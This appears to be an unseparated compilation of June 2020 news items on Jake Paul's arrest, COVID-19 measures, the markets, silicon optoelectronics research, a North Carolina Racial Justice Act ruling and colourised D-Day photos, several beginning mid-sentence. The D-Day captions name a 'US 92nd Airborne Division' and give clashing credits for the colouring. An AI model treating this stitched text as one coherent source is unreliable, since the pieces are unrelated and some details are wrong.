"Paul also unlawfully entered and remained inside of the mall when it was closed," the statement said. As a result, Paul was charged with misdemeanors for criminal trespass and unlawful assembly.

Paul gained popularity for his aggressive personality and using controversy and internet feuds to gain views. He regularly documents his life and travels with a team including a videographer who makes videos for his YouTube channel.

Paul denies the charges

During the height of last week's demonstrations, he continued to deny the charges and claimed that he was at the mall simply only to capture the events for possible content for his YouTube channel.

"To be absolutely clear, neither I nor anyone in our group was engaged in any looting or vandalism," Paul said in a tweet adding that they were "strictly documenting, not engaging" in any crime.

Ishan Goel, 21, was having dinner with Mr. Paul in a nearby restaurant on Saturday when Paul learned about the mall incidents, so they decided to check it out. "There were police helicopters circling with lights and sirens, and Jake wanted to figure out what was going on inside the mall," Goel said in an interview with an entrepreneur on Thursday, June 4. He added that Paul was merely checking out why people were in the mall and what were they doing.

Shortly after they arrived, Paul was recognized by groups as he interviewed people. Later, the police moved in and used "tear gas" on Paul as he approached the officers. He posted a video on Instagram of explaining how the incident happened.

"Look at them, pointing guns at me - pointing guns at me right now," he continued. "No cap, that's tear gas, bro," Paul said.

In a statement he shared on Twitter, Paul claimed that he spent his day protesting peacefully in aim to "bring more attention to the anger felt in every neighborhood we traveled through." The Scottsdale Fashion Square mall looting was not connected with the Black Lives Matter movement and any of its protests. Many netizens accused Paul of using the protests to gain views.

Paul's brother, Logan Paul who is also a YouTube vlogger posted a passionate anti-racism speech on his YouTube channel on Tuesday, June 2. He called out white people and those in power to "acknowledge and weaponize" their privilege.

"Make your voice heard, attend a protest, speak up against injustice," said Logan adding that white may also use their privilege to leverage the protest. He also called people who ignore white privilege as "blind," "delusional" and "part of the problem."

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
Within this framework, the Head of State said that the key to reverting the situation is education, not only at schools, but also at homes.

The top official noted that in the last national census 50% of the population responded that they had suffered some type of discrimination in the country.

Likewise, the statesman lamented the death of African American citizen George Floyd in the United States in an incident involving the police which led to protests in different cities.

"This is a current issue, and it is not only a remote problem, but also a domestic one," he added.

The Peruvian leader indicated that in order to revert this situation everyone's commitment is needed to show that "we are all the same and that we are all worth the same."

"We must be a more equitable and fair country, that is the effort that we must all make," he emphasized.

El presidente @MartinVizcarraC informa sobre la situacion del Estado de Emergencia en el #Dia81 y las acciones que realiza el Gobierno para contener la propagacion del COVID-19. En vivo: https://t.co/SoFr4R0gsc https://t.co/dHT0xY79P2
Source: Xinhua| 2020-06-05 22:28:47|Editor: huaxia

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DAR ES SALAAM, June 5 (Xinhua) -- Tanzanian President John Magufuli on Friday pledged full support for teachers and assured them that the government will continue paying their wages amid COVID-19.

"Even if COVID-19 lasts for 10 years, I assure all teachers that the government will continue paying your monthly wages," Magufuli said when he officially opened a one-day general meeting of the Tanzania Teachers' Union (TTU) in the capital Dodoma.

In a live televised address by state-run Tanzania Broadcasting Corporation, the president said the government's monthly wage bill stood at about 600 billion Tanzanians shillings (about 259 million U.S. dollars) and half of it was being used for paying about 267,000 teachers.

"I will never let down my fellow teachers. I have experienced challenges facing teachers across the country," Magufuli, a former chemistry teacher, told the meeting that brought together 1,138 teachers from different regions.

President Magufuli also hinted that arrangements were afoot to reopen primary and secondary schools which were shut down on March 17 following the outbreak of the viral disease in the east African nation on March 16.

Leah Ulaya, the TTU President, thanked the head of state for supporting the teachers during the COVID-19 pandemic, pledging to work hard with integrity in efforts aimed at improving the standard of education in the country. Enditem
Stocks on Wall Street shot higher on Friday, with the S&P 500 coming close to recouping all of its losses for 2020 so far, after the federal government reported a surprising pickup in hiring in May.

The S&P 500 rose more than 2 percent. The index is now about 1 percent below where it started the year, and less than 6 percent away from its high point in February.

Another major Wall Street index, the tech-heavy Nasdaq composite, closed just short of a record. Large technology companies like Amazon, Apple and Microsoft have fared relatively well lately. Tech companies are seen as protected from any economic downturn because of their sheer size and enormous cash stockpiles, and also because the nature of the coronavirus-related lockdowns  with workers at home and consumers dependent on e-commerce  played directly to their strengths.

Stocks were already poised to rise before the government reported that employers added 2.5 million jobs in May, but the news sent share prices sharply higher. Economists had expected the government to report that eight million jobs had been lost during the month.
Oslo, 5 June 2020

Interoil Exploration and Production ASA is pleased to publish the audited Annual Report for 2019 and the 2020 Annual Statement of Reserves in accordance with the Continuing obligations of stock exchange listed companies. The reports are also available at the companys web site.

There is no material change in the audited accounts compared to the Q4 Report, which was released on 27 February 2020.

Interoils Annual General Meeting will be held on Tuesday 30 June 2020, in accordance with the companys revised Financial Calendar.

Interoil wishes to highlight the following recent events mentioned in the Report of the Board of Directors.

In May 2020 Turgas notified Interoil that it would resume gas off-takings from the Mana and Ambrosia fields in Colombia and Interoil restarted its deliveries accordingly.

Also, in May, Interoil agreed on a new credit line facility worth USD 1.8 million and with a term of 19 months.

Please direct any further questions to: ir@interoil.no

* * *

Interoil Exploration and Production ASA is a Norwegian based exploration and production company - listed on the Oslo Stock Exchange - with focus on Latin America. The Company is operator and license holder of several production and exploration assets in Colombia and Argentina. Interoil currently employs approximately 50 people and is headquartered in Oslo.

This information is subject to the disclosure requirements pursuant to Section 5-12 the Norwegian Securities Trading Act

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Uttar Pradesh chief minister Yogi Adityanath on Friday discussed the states future strategy to deal with the Covid-19 pandemic in an exclusive interview with Hindustan editor-in-chief Shashi Shekhar.

The chief minister lauded PM Narendra Modis leadership at the Centre in fighting the pandemic and said that the Centre has given its full cooperation to the state government.

Adityanath also launched an attack on Congress leader Rahul Gandhi and sister Priyanka Gandhi over their criticism of the government's handling of the coronavirus crisis and asserted that it was not the time for politics.

Here are the highlights from Yogi Adityanaths interview:

-- Will turn India into Italy: Yogi Adityanath stings Rahul Gandhi over Covid-19 response

Yogi Adityanath launched a sharp counter attack on Congress leader Rahul Gandhi and sister Priyanka for their criticism of the governments handling of the coronavirus pandemic, asserting that if the country listens to them on Covid-19, India will turn into Italy. Yogi Adtiyanaths barb was a reference to a spike in Covid-19 cases in Italy in the early days of the pandemic.

--Yogi Adityanath slams Congress over buses for migrants issue

On Congresss offer to ferry migrants in 1,000 buses, Uttar Pradesh CM Yogi Adityanath on Friday said it was an ugly joke.

Adityanath accused the Congress of playing with lives and reeled of numbers, suggesting that the vehicle details submitted by the Congress showed that they were not actual buses. Upon inspection , the CM said, many turned out to be autorickshaws and other three-wheelers.

-- UP fully prepared to deal with Covid-19 pandemic: Yogi Adityanath

When the first coronavirus cases was detected in the country, the state had no testing labs and isolation wards, the CM said. However now, we are fully prepared to deal with the pandemic.

According to the CM, the state at present is conducting 12,000 coronavirus tests every day. By June 15, the UP govt aims to conduct at least 15,000 tests per day and 20,000 by June 20.

-- UP CM Yogi Adityanath lauds PM Modis efforts in fighting Covid-19 battle

UP CM Yogi Adityanath on Friday lauded PM Narendra Modis leadership at the Centre in fighting the Covid-19 pandemic.
A model of temperature dependence of dislocation-related photoluminescence in ion-doped silicon has been proposed for the first time. Calculations using this model explain the increased temperature stability of photoluminescence found in experiments.

Silicon is the main material in electronic engineering. All information and computing technologies that play a key role in modern civilization are based on silicon: computers, communications, astronautics, biomedicine, robotics and much more.

According to Alexey Mikhaylov, Head of the laboratory at the Lobachevsky University's Research Institute for Physics and Technology, the main stumbling block on the way to increasing the speed of integrated circuits is the limited speed of electrical signal propagation in metal interconnection wiring. "This requires the replacement of metal interconnections with optical waveguides and, thus, the transition from traditional electronics to optoelectronics, where the active elements are light emitters and receivers rather than transistors", says Alexey Mikhaylov.

Silicon shows satisfactory performance as light receiver, but, unlike A3B5 semiconductors, is a poor light emitter because of an indirect bandgap of this semiconductor. This feature of its electronic structure, according to the laws of quantum mechanics, strictly speaking, prohibits the emission of light (luminescence) under external excitation.

"It would be very undesirable to refuse from silicon at a new stage, as we would have to abandon the perfectly developed technology for mass production of integrated circuits. This would involve huge material costs, not to mention the environmental problems that arise when working with A3B5 materials," states Professor David Tetelbaum, Leading Researcher at Lobachevsky University.

Scientists are trying to find a way out of this situation by either using nanocrystalline silicon, or by coating silicon with films of other light-emitting materials. However, the emissivity (luminescence efficiency) of silicon nanocrystals is still insufficient for practical applications.

Besides, silicon nanocrystals emit in the area at the "red" edge of visible radiation, while many technical applications, in particular in fiber optics communication technology, require longer wavelengths (about 1.5 m). The use of "foreign" material layers on silicon substrates, however, is poorly compatible with the traditional silicon technology.

An effective way to solve this problem is to introduce in silicon a special type of linear defects known as dislocations. Researchers have come to the conclusion that a high concentration of dislocations can be achieved in the silicon surface layer by irradiating it with silicon ions with the energy of the order of a hundred keV and then annealing it at high temperatures. In this case, silicon emits light at exactly the right wavelength - close to 1.5 m.

"The luminescence intensity appears to depend on the implantation and annealing conditions. However, the main problem with dislocation-related luminescence is that it is most pronounced at low temperatures (below ~25 K) and decays quickly as the temperature rises. Therefore, it is very important to find ways to increase the thermal stability of dislocation-related luminescence", continues Alexey Mikhaylov.

Lobachevsky University scientists together with their colleagues from the RAS Institute of Solid State Physics (Chernogolovka) and the Alekseev State Technical University (Nizhny Novgorod) have made significant headway in solving this problem with the support of the Russian Foundation for Basic Research (grant No.17-02-01070).

Previously, it was found that one way to achieve dislocation-related photoluminescence in silicon samples is to implant silicon ions into silicon (self-implantation) with subsequent annealing. This proved to be not the only benefit of the implantation technology, when the team of Lobachevsky University discovered that additional boron ion doping can enhance the luminescence. However, the phenomenon of enhanced luminescence properties alone does not solve the main problem. Moreover, it remained unclear how boron ion doping affects the luminescence thermal stability, which is a key parameter, and under what conditions (if any) such effect will be most pronounced.

In this study, scientists have confirmed experimentally the increase in thermal stability of silicon doped with boron ions. Moreover, the effect is nonmonotonically dependent on the boron dose, and in a certain range of doses, a pronounced second maximum in the region of 90 to 100 K appears on the intensity versus temperature curve, along with the usual low-temperature maximum in the region of 20 K.

"It is important to note that the "beneficial" effect of boron is unique in the sense that the replacement of boron ions by another acceptor impurity does not lead to the effect described above. After refining the modes of boron ion doping and heat treatment of silicon samples where centers of dislocation-related luminescence were formed by irradiation with silicon ions, we have found that with the highest previously used dose of boron ions and an additional heat treatment at 830 C, it is possible to achieve a measurable level of luminescence at room temperature," concludes Professor Tetelbaum.

The results obtained during further optimization of the implantation and heat treatment conditions brighten up the prospects for silicon application in optoelectronics.

###

An article on the results of this work was recently published in the authoritative journal Nuclear Instruments and Methods in Physics Research B: Beam Interactions with Materials and Atoms.
The Nigerian police have released a Nigerian activist, Martin Obono, on bail hours after he was arrested over a tweet he posted two days ago accusing the police of trying to undermine a rape case his client reported.

Five days ago, my clients reported a rape case. The suspect used Police to turn the case on its head and got the Ladies detained the girls in same cell with men. I was livid. It didnt end there, they asked them to bring a level 14 civil servant, C of O to surety their bail, the activist wrote.

The tweet led to his arrest on Friday and he was taken to a police station in Wuse, Abuja, Nigerias capital.

Mr Obono told PREMIUM TIMES, after his release, that the police accused him of inciting the public against the police.

The activist-lawyer later narrated his experience on his Twitter handle.

I was detained for requesting reforms in our criminal justice system.

I was asked to sign a bail bond saying I incited the public against the Nigerian Police based on my quest to reform the justice system because my clients who were raped and sexually assaulted felt they were not treated fairly.

I want to put it on record that I did not agree to the bail bond and if at anytime this issue ever comes up, I am ready to defend it in court, he posted on his Twitter handle.

PREMIUM TIMES learnt that Mr Obonos bail bond was signed by another activist, Deji Adeyanju.

Mr Obono told PREMIUM TIMES he was not given any conditions for his release and he would continue to defend the interest of his clients in the main rape case.
Source: Xinhua| 2020-06-05 23:06:18|Editor: huaxia

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BEIJING, June 5 (Xinhua) -- The Chinese Ministry of Culture and Tourism on Friday issued a notice advising Chinese tourists to raise their safety awareness and avoid traveling to Australia.

There has been an alarming increase recently in acts of racial discrimination and violence against Chinese and Asians in Australia, due to the impact of the COVID-19 pandemic, the notice said. Enditem
The statute largely lay dormant until the 1961 case Monroe v. Pape, which re-energized efforts to use the law to deter police violence, protect communities and hold individual officers financially responsible when they violate rights. But not long after the Supreme Court opened this small window of justice, it essentially closed the door to using civil liability as a form of police accountability by making up a new rule in 1967: qualified immunity. In short, police officers are immune from civil liability unless a plaintiff can show that the officer violated a clearly established law  that is, a right acknowledged in a previous case with similar underlying facts where police conduct was deemed unlawful by a court in the same jurisdiction that would, in theory, put an officer on notice that such behavior is not allowed. For example, if an officer used force in a manner that may have been excessive  perhaps a baton strike to a protesters knee that caused substantial damage  but that had not been already judged by a federal court in the relevant jurisdiction to be illegal under the same circumstances, the officer would be immune from civil suit. Since it is rare that any two cases in the same jurisdiction share the same facts, qualified immunity has become an impossibly narrow rule that creates insurmountable barriers to justice for victims of police violence.
The flight was arranged by the Vietnamese Embassy in the UK, authorities in Vietnam and national flag carrier Vietnam Airlines.

It left Heathrow Airport in London on June 3 and landed at Tan Son Nhat International Airport in Ho Chi Minh City.

The passengers were children, students, the elderly and sick along with a number of tourists whose UK visas had expired but were previously unable to leave due to border closures.

The Embassy of Vietnam in London has instructed citizens to complete all required procedures and cooperate with local authorities to support them during their journey home.

Upon landing, passengers and cabin crew members undertook medical checks and were quarantined in line with regulations.

The Ministry of Foreign Affairs, Ministry of Transport and other Governments agencies, Vietnam Airline will continue arranging flights to bring its citizens home depending on the COVID-19 pandemic's developments, quarantine capacity of Vietnamese localities, and the demand of Vietnamese citizens living overseas.
Jaipur, June 5 : After two MLAs in Gujarat resigned recently from the Congress before the Rajya Sabha elections, Rajasthan too seems to be feeling the political turbulence with Rajya Sabha polls approaching.

The interesting political story came out on Thursday when Chief Minister Ashok Gehlot accused BJP of trying to destabilise his government too after toppling the government in neighbouring Madhya Pradesh.

The CM in his statement said, "BJP follows one policy - to buy MLAs and to bring them under their fold. Even in Rajasthan, such attempts are being made. However, I will strongly fight all these attempts," he said.

It was a surprising statement coming from Gehlot as, earlier, he has been confident standing strong on the support his party enjoys in Rajasthan. However, his recent statement stirred a hornet's nest in the state.

While BJP came out strongly to oppose the allegations, there were silent whispers in Congress over reasons why the CM made this statement.

A senior Congress leader on conditions of anonymity said, "The CM seems to be worried looking at BJP's successful show in MP and now in Gujarat. Further, the rival party is also playing its cards in Rajasthan as it has nominated its second candidate, Omkar Singh Lakhawat for Rajya Sabha election which is being held to fill three vacant posts in the state." Congress has already nominated its two candidates Neeraj Dangi and KC Venugopal and initially Congress had fielded Rajendra Gehlot as its official candidate.

Congress enjoys the support of 107 MLAs in the 200-member assembly while BJP stands at 72. The independents and others account for 21. To win one Rajya Sabha seat, each party needs 51 votes. So going with numbers, Congress can easily win two seats while one seat will go into BJP kitty. But with BJP nominating Lakhawat too, there can be trouble coming for Congress, said a Congress worker adding that the party is not too happy with the fielding of Dangi who has been a constant loser in earlier elections.

Meanwhile, the BJP state president Satish Poonia has come out strongly against the CM's statement and questioned, "Why should BJP try to destabilise the state government when there is already many internal tussles going on within Congress party since day one of the formation of its government in the state?" He further said, "Today the Congress government in Rajasthan is talking of democracy but it was this party and its government which imposed the Emergency and Article 356. The allegations on BJP for destabilising the government are baseless. The CM should set his own house in order first," he told IANS.

Meanwhile, speculation is rife in the state with Tourism Minister Vishvendra Singh garnering BJP's support on his Twitter handle after extending support to Prime Minister's Atmanirbhar Bharat campaign. Many of his tweets are being endorsed by BJP leaders.

Also, Singh's strong links with Deputy Chief Minister Sachin Pilot are well known.

On Thursday too, his pinned tweet termed Pilot as the biggest ambassador for Rajasthan. He retweeted his video where Pilot was seen tying a 'safaa' showing support on #safawithtwittercampaign.

His earlier tweet also showed him enjoying tea with Pilot.

With these tweets going viral, there are questions being raised if politically something big is about to happen in the desert state.
There are those on the evangelical right who have clearly abandoned this conception of scripture. They display not the transformed heart of the believer, but an iron stomach of a political operative. They will swallow anything. If Trump stepped on the Bible, they would interpret it as the foundation of his life. If Trump lit it on fire, they would regard it as lighting the way to a better future. Their tolerance for sacrilege is the revelation of their true priorities.
The railroad beefed up its car-cleaning regimen, adding 10 employees to the cleaning staff in Chicago and at the Michigan City shops; disinfecting seats, windows, handrails and other surfaces inside each car; mopping each car with a disinfectant; and fogging each car to disinfect the air conditioning system. Cars also will undergo ultraviolet light treatment during their regular maintenance.
On the third anniversary of a feud pitting Saudi Arabia and its allies against Qatar, the United Arab Emirates said the Gulf had changed and could not return to how it was.

Saudi Arabia, the UAE, Egypt and Bahrain abruptly cut diplomatic, economic and travel ties with Doha on June 5, 2017, insisting Qatar was too close to Iran and funding radical Islamist movements.

Gas-rich Qatar fiercely rejected the allegations and refused to budge on 13 demands made by its allies-turned-adversaries, including the closure of the Doha-based Al Jazeera news network and shutting a Turkish military base in the emirate.

"I do not think that the Qatar crisis, on its third anniversary, deserves comment", UAE Minister of State for Foreign Affairs Anwar Gargash wrote on Twitter.

"Paths have diverged and the Gulf has changed and cannot go back to what it was", he said.

Despite a flurry of positive signs at the end of last year, including a round of shuttle diplomacy that saw the Qatari foreign minister visit Saudi Arabia for talks, the freeze shows no sign of thawing.

"The causes of the crises are known, and the solution is also known and will come in time", Gargash said, without elaborating.

Qatar's Foreign Minister Mohammed bin Abdulrahman Al-Thani tweeted that Doha had always called for "unconditional dialogue based on equality, respect for sovereignty and non-interference in internal affairs" to settle the crisis.

His country's position "will not change", he added.

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Yesterday, Governor Ralph Northam of Virginia declared his administrations intent to dismantle and store away one of the most well-known Confederacy commemorations in the United States. Sited on the prominent Monument Avenue in Virginias capital of Richmond, the six-story-high statue of Confederate General Robert E. Lee was erected in 1890 as part of a state-wide campaign to glorify the oppression and hatred of the movement that lost the Civil War. In the wake of nationwide protests for justice and equality for Black people in America, sparked by the recent deaths by police violence of George Floyd, Breonna Taylor, Ahmaud Arbery, and Tony McDade, many states have been prompted to remove their Old South monuments. Northams decision was, too, influenced by current outcries.

Its time to acknowledge the reality of institutional racism, even if you cant see it, the governor stated in a speech yesterday. In Virginia we no longer preach a false version of history, one that pretends the Civil War was about state rights and not the evils of slavery.... And in 2020, we can no longer honor a system that was based on the buying and selling of enslaved people. At the same briefing, General Lees great-great-grandson supported the monuments removal, saying about his kin: We have created an idol of white supremacy, of hatred, of racism, and rightfully so, out of the Confederacy. And we must do our best now to address that.

Virginia Gov. Northam Announces Removal Of Confederate Statues Photo: Getty Images/Zach Gibson

Citizen calls for the removal of Confederate monuments have been ongoing for years. However, a new swell of pressure on public entities to act in favor of anti-racism has led, thus far, Birmingham, Alabama; Alexandria, Virginia; and Tampa, Florida, to remove symbols from their own towns in the past two days. In Richmond the monument to General Lee is one of five Jim Crow era statues along Monument Avenue, which is within a nationally registered historic landmark district. According to the Associated Press, they have been rallying points for local activists during the recent protests.

Story continues

Although the immediate plan for the General Lee statue is storage, the governor vowed to work with the community to determine its future. For the other four adjacent monuments, which sit on city rather than state land, Richmond mayor Levar Stoney has promised to introduce an ordinance to remove them on July 1. That date marks the beginning of a recently signed Virginia law that gives its cities, not the state, the power to determine the fate of their Confederate monuments.

Originally Appeared on Architectural Digest
ries of photos show British and US troops storming beaches and talking to members of French Resistance

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Incredible colourised pictures showing the D-Day landings in Normandy have been released on the anniversary of the heavily secretive operation that became the turning point of the Second World war.

The series of photos show British and US troops storming the beaches of northern France and later talking to members of the French Resistance after the landings proved a success.

Other photos show Dakota transport planes releasing Horsa gliders carrying troops in the first stages of the mass invasion on the French coast 76 years ago.

The photos that bring to life the invasion have been colourised for the first time by an Artificial Intelligence algorithm run by the MyHeritage website.

 Slide me  British troops were forced to wade through the sea after boats dropped them off at the Jig Green section of Gold beach. Gold was one of the code names for the five areas of the Allied invasion of German-occupied France on June 6, 1944. Gold beach, the more central of the landing spots, was between Port-en-Bessin on the west and La Riviere on the east. High cliffs closer to Port-en-Bessin meant the landings were restricted to a five-mile section between Le Hamel and La Riviere, in sectors named Jig and King. The aim was to capture a beachhead, before moving west to secure Arromanches and meet the American forces in Omaha. Troops were then to capture Bayeux and the small port at Port-en-Bessin

 Slide me  This LCVP from the US Coast Guard-manned USS Samuel Chase drops troops from the Company E, 16th Infantry, 1st Infantry Division onto the Fox Green section of Omaha Beach. Omaha was another five-mile section of the coast of Normandy, France, facing the English Channel. It ran from Sainte-Honorine-des-Pertes in the east to Vierville-sur-Mer on the right bank of the Douve River estuary. LCVP, which stood for Landing Craft Vehicle Personal, otherwise known as a Higgins Boat, were used throughout the Second World War. The vessels were usually made of plywood and could ferry a roughly platoon-sized complement of 36 men to shore at a speed of nine knots

 Slide me  Dakota C-47 transport planes deliver gliders over fields on the Cotentin Peninsula, near the town of Bayeux in north-west France. One of the gliders appears to have crash landed, leaving remnants scattered across the field (seen bottom right). The C-47 could tow two CG-4 Waco assault gliders or one of the larger British Horsa gliders. D-Day's Operation Tonga saw British gliders land in force in the area around Caen in support of the initial airborne landings of the 6th Airborne Division, with more than 300 Horsas and over 30 Hamilcars on French soil by nightfall. In the American sector, reinforcements and support elements of the 82nd and 101st Airborne Divisions were delivered by Waco and Horsa gliders on June 6 to support the paratroopers who had landed in the early hours of D-Day on the Cotentin Peninsula

 Slide me  Royal Marine Commandos attached to 3rd Infantry division marched inland from Sword beach, the easternmost landing area, on D-Day. They were joined on the beach by French and British commandos. Just after midnight that morning parts of the 6th Airborne Division, in a glider-borne assault, had seized bridges inland from the beach and destroyed artillery pieces that threatened the landing forces. The beach ran from Lion-sur-Mer on the west to the city of Ouistreham, at the mouth of the Orne River, on the east. It was close to Caen, which all major roads in this sector of the Norman countryside ran through, making it a key city for transportation and manoeuvring troops

The original black and white photos were loaded into a computer which uses its unique programme to select the correct colour from its image bank containing millions of other photos to chose the correct colour tones.

The process takes seconds and has been used by My Heritage to allow members of the site to colourise old black and white family photos.

As a tribute to the soldiers, sailors and airmen who took part in the Normandy landings on June 6th 1944 the site colourised a selection of original photos.

In one captured French Char 1 tank now used by German troops can be seen advancing along road with the colourisation picking out their camouflage.

 Slide me  US assault troops in an LCVP landing craft approach Omaha beach. Allied infantry approached the beaches of Normandy at 6.30am on June 6, 1944. As landing craft got closer to the beach strong winds blew many of them further east, pushing them away from their intended positions, especially at Utah and Omaha. Soldiers landed under heavy fire from guns overlooking the beaches and the shore had been mined. The beach was covered in obstacles including wooden stakes, metal tripods and barbed wire and the high cliffs at Omaha meant casualties were high - around 2,000 US troops were killed or declared missing after landing on Omaha beach on D-day

 Slide me  Members of the French resistance meet soldiers from the US 92nd Airborne Division during the Battle of Normandy. Artist Marina Amaral used the Photoshop programme to produce stunning colour images of the landings, bringing out the colours of their uniforms and hats. The series of photos show British and US troops storming the beaches of northern France and later talking to members of the French Resistance after the landings proved a success

 Slide me  German troops are seen using captured French tanks in Normandy, 1944. When the Germans captured an enemy tank, they would record it as a 'Beutepanzer' (enemy tank) and take it for themselves. The tanks would be marked with Nazi symbols and a new German camouflage exterior. In this colourised photo, it shows a French Char 1 tank now being used by German troops advancing along a road

One of the most striking photos brought to life shows Dakota C-47 transport planes releasing gliders over the countryside. Several of the gliders appear to have snapped in half on landing.

British troops were the first to land in occupied France as the spearhead of the invasion with gliders used to transport them across the Channel.

More than 156,000 troops landed on five beaches, Omaha, Utah, Gold, Sword and Juno.

US troops suffered the heaviest casualties with 2,000 killed wounded or missing during the landing on Omaha beach. The bloodbath was immortalised in the Steven Spielberg film Saving Private Ryan.

 Slide me  US rangers scaling the cliffs at Pointe du Hoc. Other D-Day photos have been colourised to commemorate the 75th anniversary last year but My Heritage said using their artificial intelligence algorithm meant they could be produced in seconds. This particular site is deeply symbolic for Americans, as US soldiers climbed it to attack a gun placement. Exactly forty years later in 1984, US President Ronald Reagan paid tribute to these soldiers and dubbed them the 'boys of Pointe Du Hoc'

 Slide me  British troops are seen taking cover after landing on Sword beach, the most easternly beach in the D-day landings. British soldiers were the first to land in occupied France as the spearhead of the invasion with gliders used to transport them across the Channel. The colourised image shows the faces of the British troops as they made their assault in the largest amphibious attack in history

 Slide me  The Royal Canadian Naval Beach Commando W are seen coming into land on Mike Beach sector of Juno Beach. On this one beach alone (this was one of five beaches making up the D-Day assault) 14,000 Canadian soldiers landed here on D-Day. The squadron were specially trained to create and maintain order of arrivals and arrange transport of German prisoners collected on the beaches

 Slide me  Carrying their equipment, US assault troops in a landing craft approach Omaha beach June 6th 1944. American soldiers faced machine gun fire while having to climb the cliffs at the end of the beach to attack the German defences. On Omaha beach US troops suffered the heaviest casualties with 2,000 killed wounded or missing during the landing

Other D-Day photos have been colourised to commemorate the 75th anniversary last year but My Heritage said using their artificial intelligence algorithm meant they could be produced in seconds.

Artist Marina Amaral used the Photoshop programme to produce stunning colour images of the landings.

Raf Mendelsohn said: MyHeritage wanted to give MailOnline readers a different perspective by colourising the iconic images which gives us an appreciation and a greater understanding of this historic event.

The US based company offers the use of the colourisation tool to members of their site where families can upload up to 10 pictures to have them transformed.

Examples of old photos being dramatically changed can be found on their Twitter site #myheritageincolor and include one of President Abraham Lincoln.
On Friday, the North Carolina Supreme Court issued a landmark ruling that grants more than 130 death row inmates the opportunity to have their sentences reduced if they can prove systemic racism affected their sentencing.

The ruling stems from a controversy over a 2009 law called the Racial Justice Act, which allowed death row inmates in North Carolina to appeal their sentences, and potentially have them reduced, if they could provide statistical evidence that the death penalty as carried out in the state or county was inherently racially biased at the time of their sentence. That law was amended in 2012 and then overturned in 2013 by the conservative state Legislature, blocking more than 130 North Carolina death row inmates from seeking relief.

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On Friday, the North Carolina Supreme Court ruled that the repeal and key elements of the amended law were unlawful ex post facto changes under both the U.S. and North Carolina constitutions. Critically, because the court cited the state constitution and its own prior case law in reaching its conclusion, the decision cannot be overturned by a federal court.

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Here the right is to challenge a sentence of death on the grounds that it was obtained in a proceeding tainted by racial discrimination, and, if successful, to receive a sentence of life without parole, Justice Anita Earls wrote. Repealing the RJA took away that right, and the repeal cannot be applied retroactively consistent with this states constitutional prohibition on ex post facto laws. In reaching the decision, Earls cited a more than 158-year-old North Carolina Supreme Court ruling against ex post facto laws that protected Confederate soldiers who may have committed crimes in uniform, after an amnesty law was revoked. Ironically, the standard that protected Confederate soldiers will now be applied to black people on death row.

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The ruling was also an enormous victory for death penalty opponents. I think that the timing of this opinion is really powerful, said Cassandra Stubbs, the director of the ACLUs Capital Punishment Project and one of the litigants in the case. Stubbs notes that the opinion comes during a week in which Chief Justice Cheri Beasley, the first black woman to serve as chief justice of the North Carolina Supreme Court, issued a powerful public call for racial justice in response to the murder of George Floyd.

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In a speech on Tueday, Beasley nearly broke into tears describing how urgent the calls for racial justice are for her personally, as the mother of twin sons that are young black men. Critically, she called for a reasonable, compassionate, and immediate response to protesters by the legal system, even when some break the rules:

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These protests are a resounding, national chorus of voices whose lived experiences reinforce the notion that black people are ostracized, cast out, and dehumanized. Communities are crying out for justice and demanding real, meaningful change. It is shocking to see our workplaces, businesses, and community spaces damaged, but we must recognize the legitimate pain and weight of years of disparate treatment that fuels these demonstrations. We must be willing to hear that message, even when we are saddened by the way it is delivered. We must decry the failures of justice and equity, just as forcefully as we decry violence. It is not enough to say to protesters, go home and follow the rules. Its just not that simple.

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Now Beasleys court has issued an opinion that lays the groundwork for men and women on death row who may have been sentenced under a racially biased system to have their sentences reduced to life in prison. For anyone who filed an appeal before the RJA was revoked by the Legislature, the law allows death row prisoners to attempt to prove that systemic racial bias tainted their sentences, by pointing to simple evidence of disparate treatment either in the exercise of peremptory challenges to potential jurors or in how the death penalty has been implemented in a particular jurisdiction.

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In keeping with findings from elsewhere across the country, the evidence in the limited number of RJA cases that previously made it to the hearing stage demonstrated, unsurprisingly, that there was racial bias in the implementation of the death penalty in North Carolina, and that it was even worse in specific counties.

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As I wrote last year about the cases:

A study conducted by Michigan State University College of Law found that in 173 death penalty cases between 1990 and 2010, prosecutors in North Carolina were about 2.5 times more likely to strike black jurors from the jury. In Cumberland County, cases with white victims were more than 3.4 times as likely to result in the death penalty than those with victims of another race.

Now the prisoners covered by the decision will be able to point to these concrete numbers and raise a challenge to their own individual death sentences.

The big looming question is going to be how North Carolina courts deal with this evidence, notes Stubbs.

In her stirring call for a reckoning with racial injustice earlier in the week, Beasley may have sent a signal to lower court judges in her state as to the approach she will take to these cases.

As Chief Justice, it is my responsibility to take ownership of the way our courts administer justice and acknowledge that we must do better, she said. We must be better.
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"The death of George Floyd has reopened the deepest wound of American racism," Zhang Yonghe, standing director of the China Society for Human Rights Studies, said in an interview with China.org.cn.

"I don't see any willingness in Trump administration's actions to heal it," Zhang added.

Over the past week, protests over the death of African-American George Floyd have escalated across the U.S.

On Monday, President Donald Trump threatened to send in the military to quell growing civil unrest in the U.S. if cities and states failed to control the protests. His response drew criticism and fanned the flames.

"The death of George Floyd is another racial bias incident," Zhang said. He also mentioned Michael Brown's case, an unarmed black teenager who was shot and killed by a white police officer in 2014. "Only this time, it happened to George Floyd."

Zhang regarded the American civil rights movement in the 1960s as a compromise and believed that the Declaration of Independence and Abraham Lincoln's freeing of slaves didn't stamp out racial injustice.

"Trump administration's terrible reactions and attitudes toward demonstrators came down to racial arrogance. If racial arrogance is not eliminated, similar incidents will reoccur."

Zhang said, "Given its systemic human rights problems and Trump administration's series of actions, the U.S. should stop priding itself as a beacon of democracy and liberty."

"Withdrawing from the United Nations Human Rights Council, refusing to ratify international human rights treaties, and threatening to terminate its relationship with the WHO amid the COVID-19 outbreak are actions of deglobalization. These actions were made in the sole interest of the U.S.," Zhang added. "The 'America First' policy itself is against human rights spirits."
Cynthia E. Hudson named to Board of Visitors; Warren Buck to become special advisor for equity in the 21st century

Hudson appointed to BOV: Cynthia E. Hudson J.D. 87 has been appointed to William & Marys Board of Visitors. Her four-year term begins July 1. Submitted photo Photo - of - Hide Caption

Former Va. chief deputy A.G. succeeds Warren Buck, who transitions to advisory role

Former Chief Deputy Attorney General of Virginia Cynthia E. Hudson J.D. 87 has been appointed to William & Marys Board of Visitors, Virginia Gov. Ralph Northam announced today. Her four-year term begins July 1.

In addition, Rector John E. Littel P 22, Doug Bunch 02, J.D. 06, Brian P. Woolfolk J.D. 97, and Anne Leigh Kerr 91, J.D. 98, were reappointed to four-year terms on the board. Littel, who also serves as chair of the Executive Committee, was re-elected to another two-year term as rector at the boards meeting May 12.

